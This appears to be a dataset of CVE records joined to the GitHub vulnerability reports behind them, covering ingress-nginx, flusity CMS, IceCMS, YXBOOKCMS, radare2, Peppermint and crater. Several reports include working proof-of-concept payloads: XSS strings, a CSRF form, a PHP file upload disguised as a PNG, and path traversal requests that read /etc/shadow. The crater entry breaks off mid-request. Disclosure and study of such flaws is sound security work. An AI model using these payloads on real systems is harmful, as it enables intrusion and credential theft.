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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2023-5044 | 2023-10-25T20:15:18.187 | Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation. | {
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] | github.com | [
"kubernetes",
"ingress-nginx"
] | ### Issue Details
A security issue was identified in [ingress-nginx](https://github.com/kubernetes/ingress-nginx) where the nginx.ingress.kubernetes.io/permanent-redirect annotation on an Ingress object (in the `networking.k8s.io` or `extensions` API group) can be used to inject arbitrary commands, and obtain the credentials of the ingress-nginx controller. In the default configuration, that credential has access to all secrets in the cluster.
This issue has been rated **High** ([CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L)), and assigned **CVE-2023-5044**.
### Affected Components and Configurations
This bug affects ingress-nginx. If you do not have ingress-nginx installed on your cluster, you are not affected. You can check this by running `kubectl get po -n ingress-nginx`.
If you are running the “chrooted” ingress-nginx controller introduced in v1.2.0 (gcr.io/k8s-staging-ingress-nginx/controller-chroot), command execution is possible but credential extraction is not, so the High severity does not apply.
Multi-tenant environments where non-admin users have permissions to create Ingress objects are most affected by this issue.
#### Affected Versions
- <v1.9.0
#### Versions allowing mitigation
- v1.9.0
### Mitigation
Ingress Administrators should set the --enable-annotation-validation flag to enforce restrictions on the contents of ingress-nginx annotation fields.
### Detection
If you find evidence that this vulnerability has been exploited, please contact [security@kubernetes.io](mailto:security@kubernetes.io)
### Additional Details
See ingress-nginx Issue [#10572](https://github.com/kubernetes/kubernetes/issues/126817) for more details.
### Acknowledgements
This vulnerability was reported by Jan-Otto Kröpke (Cloudeteer GmbH)
Thank You,
CJ Cullen on behalf of the Kubernetes Security Response Committee | CVE-2023-5044: Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation | https://api.github.com/repos/kubernetes/kubernetes/issues/126817/comments | 15 | 2023-10-25T15:48:28Z | 2024-08-20T13:24:56Z | https://github.com/kubernetes/kubernetes/issues/126817 | 2,475,634,462 | 126,817 | 5,694 |
CVE-2023-5793 | 2023-10-26T18:15:08.817 | A vulnerability was found in flusity CMS and classified as problematic. This issue affects the function loadCustomBlocCreateForm of the file /core/tools/customblock.php of the component Dashboard. The manipulation of the argument customblock_place leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The patch is named 81252bc764e1de2422e79e36194bba1289e7a0a5. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-243599. | {
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"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
Select block
Use burpsuite to capture packets.Enter payload
Execution results
payload：`?customblock_place=1');</script><script>alert('1`
source code
/core/tools/customblock.php
```
if (isset($_GET['customblock_place'])) {
$customblock_place = $_GET['customblock_place'];
echo "<script>loadCustomBlocCreateForm('$customblock_place');</script>";
}
```
| Customblock in customblock.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/1/comments | 2 | 2023-10-23T07:43:56Z | 2024-04-19T02:35:15Z | https://github.com/flusity/flusity-CMS/issues/1 | 1,956,552,703 | 1 | 5,695 |
CVE-2023-42188 | 2023-10-27T00:15:09.287 | IceCMS v2.0.1 is vulnerable to Cross Site Request Forgery (CSRF). | {
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"Thecosy",
"IceCMS"
] | After the administrator open the following page, and click the the Submit request, square message with ID 264 will be deleted.
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.146.129:8181/square/DelectSquareById/264">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
``` | There is a CSRF vulnerability that can delete the message | https://api.github.com/repos/Thecosy/IceCMS/issues/17/comments | 0 | 2023-08-30T14:50:03Z | 2023-08-30T14:50:03Z | https://github.com/Thecosy/IceCMS/issues/17 | 1,873,843,313 | 17 | 5,696 |
CVE-2023-46505 | 2023-10-27T01:15:32.267 | Cross Site Scripting vulnerability in FanCMS v.1.0.0 allows an attacker to execute arbitrary code via the content1 parameter in the demo.php file. | {
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"PwnCYN",
"FanCMS"
] | **Software Address:**
https://down.chinaz.com/soft/38522.htm
**Product Name:**
FanCMS
**Affect version:**
Version 1.0.0
**Vulnerability Type:**
Cross Site Scripting
**Description:**
Navigate to the/themes/static/kindeditor-4.1.7/php --/demo. php file.
The content1 parameter was not filtered.
<img width="499" alt="1" src="https://github.com/PwnCYN/FanCMS/assets/147542481/38ac5b4d-8a9f-4b61-b0e2-031413456291">
<img width="429" alt="2" src="https://github.com/PwnCYN/FanCMS/assets/147542481/9cc7d020-3025-4feb-a0f1-88e7cc0dd74a">
JavaScript statements can be executed directly, leading to XSS vulnerabilities.
| FanCMS vulnerability testing | https://api.github.com/repos/PwnCYN/FanCMS/issues/1/comments | 0 | 2023-10-20T13:05:45Z | 2023-10-20T13:05:45Z | https://github.com/PwnCYN/FanCMS/issues/1 | 1,954,255,666 | 1 | 5,697 |
CVE-2023-5810 | 2023-10-27T01:15:32.317 | A vulnerability, which was classified as problematic, has been found in flusity CMS. This issue affects the function loadPostAddForm of the file core/tools/posts.php. The manipulation of the argument edit_post_id leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The identifier of the patch is 6943991c62ed87c7a57989a0cb7077316127def8. It is recommended to apply a patch to fix this issue. The identifier VDB-243641 was assigned to this vulnerability. | {
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"79"
] | 79 | https://github.com/flusity/flusity-CMS/issues/2 | [
"Exploit",
"Issue Tracking",
"Mitigation",
"Third Party Advisory"
] | github.com | [
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select posts
enter payload
`?edit_post_id=3);</script><script>alert(1024)</script>`
execution results
Use burpsuite to capture packets.
```
if (isset($_GET['edit_post_id'])) {
$edit_post_id = $_GET['edit_post_id'];
echo "<script>loadPostEditForm($edit_post_id);</script>";
}
```
The vulnerable code location is line 274 in core/tools/posts.php
| edit_post_id in posts.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/2/comments | 4 | 2023-10-24T10:36:35Z | 2023-10-24T17:50:22Z | https://github.com/flusity/flusity-CMS/issues/2 | 1,958,967,105 | 2 | 5,698 |
CVE-2023-5811 | 2023-10-27T01:15:32.383 | A vulnerability, which was classified as problematic, was found in flusity CMS. Affected is the function loadPostAddForm of the file core/tools/posts.php. The manipulation of the argument menu_id leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The patch is identified as 6943991c62ed87c7a57989a0cb7077316127def8. It is recommended to apply a patch to fix this issue. VDB-243642 is the identifier assigned to this vulnerability. | {
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},
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},
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] | [
"79"
] | 79 | https://github.com/flusity/flusity-CMS/issues/3 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select posts
enter payload
`?menu_id=3);</script><script>alert(1024)</script>`
execution results
Use burpsuite to capture packets.
The vulnerable code location is line 274 in core/tools/posts.php
```
if (isset($_GET['menu_id'])) {
$menu_id = $_GET['menu_id'];
echo "<script>loadPostAddForm($menu_id);</script>";
}
``` | menu_id in posts.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/3/comments | 3 | 2023-10-24T10:40:44Z | 2024-04-19T02:35:06Z | https://github.com/flusity/flusity-CMS/issues/3 | 1,958,975,399 | 3 | 5,699 |
CVE-2023-5812 | 2023-10-27T02:15:07.477 | A vulnerability has been found in flusity CMS and classified as critical. Affected by this vulnerability is the function handleFileUpload of the file core/tools/upload.php. The manipulation of the argument uploaded_file leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-243643. | {
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] | 434 | https://github.com/flusity/flusity-CMS/issues/4 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select files
select upload_file
Intercept traffic packets, modify filename to a PHP file name suffix, and change the content to PHP code.
```
POST /core/tools/upload.php HTTP/1.1
Host: xxxxx
Content-Length: 164075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fluency
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAY81e4VlxYZXQEi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fluency/core/tools/files.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=k2l9ec3hfjhj2f19d5lml13qal
Connection: close
------WebKitFormBoundaryiAY81e4VlxYZXQEi
Content-Disposition: form-data; name="uploaded_file"; filename="a.php"
Content-Type: image/png
<?php echo "20231025";?>
------WebKitFormBoundaryiAY81e4VlxYZXQEi--
```
view uploaded files
execute php code correctly
on line 15 of upload.php：
```
$allowed_file_types = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'];
$max_file_size = 5 * 1024 * 1024;
$file_id = handleFileUpload($db, $prefix['table_prefix'], $target_dir, $allowed_file_types, $max_file_size);
```
It is not enough to filter file_types, you need to filter the file name
| Unrestricted Upload of File with Dangerous Type in upload.php | https://api.github.com/repos/flusity/flusity-CMS/issues/4/comments | 1 | 2023-10-25T12:24:31Z | 2024-04-19T02:35:55Z | https://github.com/flusity/flusity-CMS/issues/4 | 1,961,299,199 | 4 | 5,700 |
CVE-2023-46503 | 2023-10-27T04:15:10.673 | Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a remote attacker to execute arbitrary code via the reader management and book input modules. | {
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"79"
] | 79 | https://github.com/PwnCYN/YXBOOKCMS/issues/2 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"PwnCYN",
"YXBOOKCMS"
] | **Product Name:**
YXBOOKCMS
**Affect version:**
1.0.2
**Case Address:**
https://down.chinaz.com/soft/37726.htm （Program download address）
https://www.ys-bs.com/ （The website address has been hacked）
**Vulnerability Type:**
Reflected XSS
**Description:**
The reader management and book input module in the background does not filter the input, so there is reflective XSS.
There are no restrictions on readers and book names when adding readers and entering books, resulting in executable JavaScript code and reflective XSS vulnerabilities.
| YXBOOKCMS Reflected XSS | https://api.github.com/repos/PwnCYN/YXBOOKCMS/issues/2/comments | 0 | 2023-10-20T13:54:30Z | 2023-10-20T14:29:58Z | https://github.com/PwnCYN/YXBOOKCMS/issues/2 | 1,954,344,806 | 2 | 5,701 |
CVE-2023-46504 | 2023-10-27T04:15:10.723 | Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a physically proximate attacker to execute arbitrary code via the library name function in the general settings component. | {
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"79"
] | 79 | https://github.com/PwnCYN/YXBOOKCMS/issues/1 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"PwnCYN",
"YXBOOKCMS"
] | **Product Name:**
YXBOOKCMS
**Affect version:**
1.0.2
**Case Address:**
https://down.chinaz.com/soft/37726.htm （Program download address）
https://www.ys-bs.com/ （The website address has been hacked）
**Vulnerability Type:**
Stored XSS
**Description:**
The library name can be modified in the general settings section of the backend homepage.
Due to the lack of filtering of input user content in the code, executable JavaScript code can be executed. As the modified part is the website title, the code will be triggered every time it is accessed, resulting in a storage based XSS vulnerability.
An attacker can write XSS statements to obtain user information (cookies, etc.) that visits the website.
| YXBOOKCMS Stored XSS | https://api.github.com/repos/PwnCYN/YXBOOKCMS/issues/1/comments | 0 | 2023-10-20T13:09:52Z | 2023-10-20T13:53:48Z | https://github.com/PwnCYN/YXBOOKCMS/issues/1 | 1,954,262,432 | 1 | 5,702 |
CVE-2023-46569 | 2023-10-28T02:15:07.583 | An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32_fpu function of libr/arch/p/nds32/nds32-dis.h. | {
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] | github.com | [
"radareorg",
"radare2"
] | # Version
```
$ r2 -v
radare2 5.8.9 31339 @ linux-x86-64
birth: git.5.8.8-691-gb2de2288d8 2023-10-17__01:18:28
commit: b2de2288d8299f89288c503fc2ce22381b61aba0
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[35mWARN:[0m Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[33mINFO:[0m Analyze all flags starting with sym. and entry0 (aa)
[33mINFO:[0m Analyze imports (af@@@i)
[35mWARN:[0m set your favourite calling convention in `e anal.cc=?`
=================================================================
==3834323==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f8504840958 at pc 0x7f8503865014 bp 0x7fffb6824670 sp 0x7fffb6824668
READ of size 8 at 0x7f8504840958 thread T0
#0 0x7f8503865013 in print_insn32 /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:1219:33
#1 0x7f8503865013 in print_insn_nds32 /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:1276:3
#2 0x7f8503865882 in decode /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/plugin.c:135:13
#3 0x7f8503362c85 in r_arch_decode /home/user/fuzzing_radare2/radare2/libr/arch/arch.c:320:9
#4 0x7f8501a629cf in r_anal_op /home/user/fuzzing_radare2/radare2/libr/anal/op.c:186:8
#5 0x7f8501a68433 in fcn_recurse /home/user/fuzzing_radare2/radare2/libr/anal/fcn.c:746:11
#6 0x7f8501a72172 in r_anal_function_bb /home/user/fuzzing_radare2/radare2/libr/anal/fcn.c:1558:9
#7 0x7f8501a72172 in r_anal_function /home/user/fuzzing_radare2/radare2/libr/anal/fcn.c:1696:12
#8 0x7f85057b4fff in __core_anal_fcn /home/user/fuzzing_radare2/radare2/libr/core/canal.c:857:12
#9 0x7f85057b4008 in r_core_anal_fcn /home/user/fuzzing_radare2/radare2/libr/core/canal.c:2077:6
#10 0x7f85054e8561 in r_core_af /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:4341:2
#11 0x7f8505507c00 in r_core_anal_all /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c
#12 0x7f8505621491 in cmd_anal_all /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:12932:4
#13 0x7f8505537429 in cmd_anal /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:14267:8
#14 0x7f85063c3940 in perform_analysis /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:499:2
#15 0x7f85063b931d in r_main_radare2 /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:1720:4
#16 0x5629af31552d in main /home/user/fuzzing_radare2/radare2/binr/radare2/radare2.c:114:9
#17 0x7f8506029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#18 0x7f8506029e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#19 0x5629af257444 in _start (/home/user/fuzzing_radare2/radare2/binr/radare2/radare2+0x1f444) (BuildId: 655cd64f4959101bcf192e77bc6bf062577e0708)
0x7f8504840958 is located 40 bytes to the left of global variable 'mnemonic_mem' defined in 'p/nds32/nds32-dis.h:60:20' (0x7f8504840980) of size 344
0x7f8504840958 is located 8 bytes to the right of global variable 'mnemonic_br2' defined in 'p/nds32/nds32-dis.h:103:20' (0x7f85048408e0) of size 112
SUMMARY: AddressSanitizer: global-buffer-overflow /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:1219:33 in print_insn32
Shadow bytes around the buggy address:
0x0ff1209000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff1209000e0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0ff1209000f0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff120900100: 00 00 00 00 f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9
0x0ff120900110: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 00 00 00 00
=>0x0ff120900120: 00 00 00 00 00 00 00 00 00 00 f9[f9]f9 f9 f9 f9
0x0ff120900130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff120900140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff120900150: 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9
0x0ff120900160: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff120900170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3834323==ABORTING
```
# Reproduce
```
r2 -A -q poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/radare2/r2/gbo_1219
# Credit
```
Gandalf4a
``` | global-buffer-overflow in /radare2/libr/arch/p/nds32/nds32-dis.h:1219:33 in print_insn32 | https://api.github.com/repos/radareorg/radare2/issues/22334/comments | 2 | 2023-10-20T16:03:32Z | 2024-08-15T06:30:02Z | https://github.com/radareorg/radare2/issues/22334 | 1,954,595,581 | 22,334 | 5,703 |
CVE-2023-46570 | 2023-10-28T02:15:07.637 | An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32 function of libr/arch/p/nds32/nds32-dis.h. | {
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```
$ r2 -v
radare2 5.8.9 31339 @ linux-x86-64
birth: git.5.8.8-691-gb2de2288d8 2023-10-17__01:18:28
commit: b2de2288d8299f89288c503fc2ce22381b61aba0
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[35mWARN:[0m Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[33mINFO:[0m Analyze all flags starting with sym. and entry0 (aa)
[33mINFO:[0m Analyze imports (af@@@i)
[35mWARN:[0m set your favourite calling convention in `e anal.cc=?`
[33mINFO:[0m Analyze symbols (af@@@s)
[33mINFO:[0m Recovering variables
[33mINFO:[0m Analyze all functions arguments/locals (afva@@@F)
[2K
[33mINFO:[0m Analyze function calls (aac)
=================================================================
==3834464==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f0145244288 at pc 0x7f01442680a9 bp 0x7fff92e713a0 sp 0x7fff92e71398
READ of size 8 at 0x7f0145244288 thread T0
#0 0x7f01442680a8 in print_insn32_fpu /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:993:6
#1 0x7f0144261c25 in print_insn32 /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:1246:7
#2 0x7f0144261c25 in print_insn_nds32 /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:1276:3
#3 0x7f0144265882 in decode /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/plugin.c:135:13
#4 0x7f0143d62c85 in r_arch_decode /home/user/fuzzing_radare2/radare2/libr/arch/arch.c:320:9
#5 0x7f01422629cf in r_anal_op /home/user/fuzzing_radare2/radare2/libr/anal/op.c:186:8
#6 0x7f01460330ad in _anal_calls /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:9005:7
#7 0x7f0146030630 in cmd_anal_calls /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:9125:5
#8 0x7f0146022fc2 in cmd_anal_all /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:12982:11
#9 0x7f0145f37429 in cmd_anal /home/user/fuzzing_radare2/radare2/libr/core/./cmd_anal.inc.c:14267:8
#10 0x7f0147292940 in perform_analysis /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:499:2
#11 0x7f014728831d in r_main_radare2 /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:1720:4
#12 0x55727ae3552d in main /home/user/fuzzing_radare2/radare2/binr/radare2/radare2.c:114:9
#13 0x7f0146829d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#14 0x7f0146829e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#15 0x55727ad77444 in _start (/home/user/fuzzing_radare2/radare2/binr/radare2/radare2+0x1f444) (BuildId: 655cd64f4959101bcf192e77bc6bf062577e0708)
0x7f0145244288 is located 24 bytes to the left of global variable 'mnemonic_fd2_cmp' defined in 'p/nds32/nds32-dis.h:155:20' (0x7f01452442a0) of size 64
0x7f0145244288 is located 8 bytes to the right of global variable 'mnemonic_fs2_cmp' defined in 'p/nds32/nds32-dis.h:149:20' (0x7f0145244240) of size 64
SUMMARY: AddressSanitizer: global-buffer-overflow /home/user/fuzzing_radare2/radare2/libr/arch/p/nds32/nds32-dis.h:993:6 in print_insn32_fpu
Shadow bytes around the buggy address:
0x0fe0a8a40800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40830: 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
0x0fe0a8a40840: f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe0a8a40850: f9[f9]f9 f9 00 00 00 00 00 00 00 00 f9 f9 f9 f9
0x0fe0a8a40860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a40890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe0a8a408a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3834464==ABORTING
```
# Reproduce
```
r2 -A -q poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/radare2/r2/gbo_993
# Credit
```
Gandalf4a
``` | global-buffer-overflow in /radare2/libr/arch/p/nds32/nds32-dis.h:993:6 in print_insn32_fpu | https://api.github.com/repos/radareorg/radare2/issues/22333/comments | 1 | 2023-10-20T16:02:17Z | 2024-08-15T06:31:10Z | https://github.com/radareorg/radare2/issues/22333 | 1,954,592,663 | 22,333 | 5,704 |
CVE-2023-5837 | 2023-10-28T22:15:08.630 | A vulnerability classified as problematic was found in AlexanderLivanov FotosCMS2 up to 2.4.3. This vulnerability affects unknown code of the file profile.php of the component Cookie Handler. The manipulation of the argument username leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-243802 is the identifier assigned to this vulnerability. | {
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CVE-2023-46863 | 2023-10-30T00:15:39.157 | Peppermint Ticket Management before 0.2.4 allows remote attackers to read arbitrary files via a /api/v1/users/file/download?filepath=./../ POST request. | {
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] | github.com | [
"Peppermint-Lab",
"peppermint"
] | The application allows users to download files.
The `filepath` parameter is vulnerable to a path traversal resulting in reading/downloading arbitrary files from the server.
```http
POST /api/v1/users/file/download?filepath=./../../../../../etc/passwd HTTP/1.1
Host: localhost:5000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb7JNKIvHMye0lm1h
[...]
------WebKitFormBoundaryb7JNKIvHMye0lm1h--
``` | Vulnerability: Arbitrary File Download (unauthenticated) | https://api.github.com/repos/Peppermint-Lab/peppermint/issues/108/comments | 2 | 2022-07-21T04:59:27Z | 2023-06-10T11:40:16Z | https://github.com/Peppermint-Lab/peppermint/issues/108 | 1,312,603,587 | 108 | 5,706 |
CVE-2023-46864 | 2023-10-30T00:15:39.200 | Peppermint Ticket Management through 0.2.4 allows remote attackers to read arbitrary files via a /api/v1/ticket/1/file/download?filepath=../ POST request. | {
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] | github.com | [
"Peppermint-Lab",
"peppermint"
] | # Description
When downloading a file attached to a ticket, it was observed to be able to download arbitrary files off the web server due to the filepath query parameter not being validated and passed directly to fs.createReadStream. Instructions to download and run the latest release were followed from here: https://github.com/Peppermint-Lab/peppermint/tree/master#-installation-with-docker
# Steps to Reproduce
1. Login to the application.
2. Create a new ticket.
3. Upload a file.
4. Download the file and intercept the request in Burp Suite.
5. Change the filepath parameter to "../../../../../../etc/shadow" or "../../../../../../etc/passwd" or "./.env"
# Proof of Concept Request and Response
Request:
```
POST /api/v1/ticket/1/file/download?filepath=../../../../../../etc/shadow HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.00) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:5000/ticket/1
Content-Type: multipart/form-data; boundary=---------------------------9995410711832151211174726991
Content-Length: 61
Origin: http://localhost:5000
Connection: close
Cookie: token=<omitted>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------9995410711832151211174726991--
```
Response:
```
HTTP/1.1 200 OK
Date: Sat, 14 Oct 2023 23:28:05 GMT
Connection: close
Content-Length: 476
root:!::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
node:!:<omitted for security>
nextjs:!:<omitted for security>
```
# Impact
Allowing users to download system files, such as /etc/passwd, /etc/shadow, configuration files, application source code, and other users files. The etc/shadow file and .env file were able to be retrieved through the app.
# References
https://cwe.mitre.org/data/definitions/22.html
https://portswigger.net/web-security/file-path-traversal | Path Traversal - Arbitrary File Download | https://api.github.com/repos/Peppermint-Lab/peppermint/issues/171/comments | 5 | 2023-10-26T17:12:41Z | 2023-11-24T20:17:26Z | https://github.com/Peppermint-Lab/peppermint/issues/171 | 1,964,005,471 | 171 | 5,707 |
CVE-2023-46865 | 2023-10-30T01:15:21.967 | /api/v1/company/upload-logo in CompanyController.php in crater through 6.0.6 allows a superadmin to execute arbitrary PHP code by placing this code into an image/png IDAT chunk of a Company Logo image. | {
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] | github.com | [
"crater-invoice",
"crater"
] | **Description**
This is a responsible disclosure. I've contacted the maintainers through huntr.dev on april and they have acknowledged the vulnerability but the project seems to be in maintanance for almost a year. I've given them 5 months to fix(they didnt respond after acknowledging it) and think I should let others be aware of this,
**Describe the bug**
In latest or 6.0.6 version of crater, superadmin is able to upload PHP file instead of an image using the Company Logo upload feature. The Base64Mime.php checking function can be bypassed by embedding a valid PHP payload into an IDAT image chunk. I have used https://github.com/huntergregal/PNG-IDAT-Payload-Generator for the poc.
`python3 .\generate.py -m php -o test.png`
Then use superadmin account to upload, change .png to .php in Burp .
```
POST /api/v1/company/upload-logo HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Authorization: undefined
company: 1
X-XSRF-TOKEN: eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0=
Content-Type: multipart/form-data; boundary=---------------------------5545470669814198892302696268
Content-Length: 552
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/settings/company-info
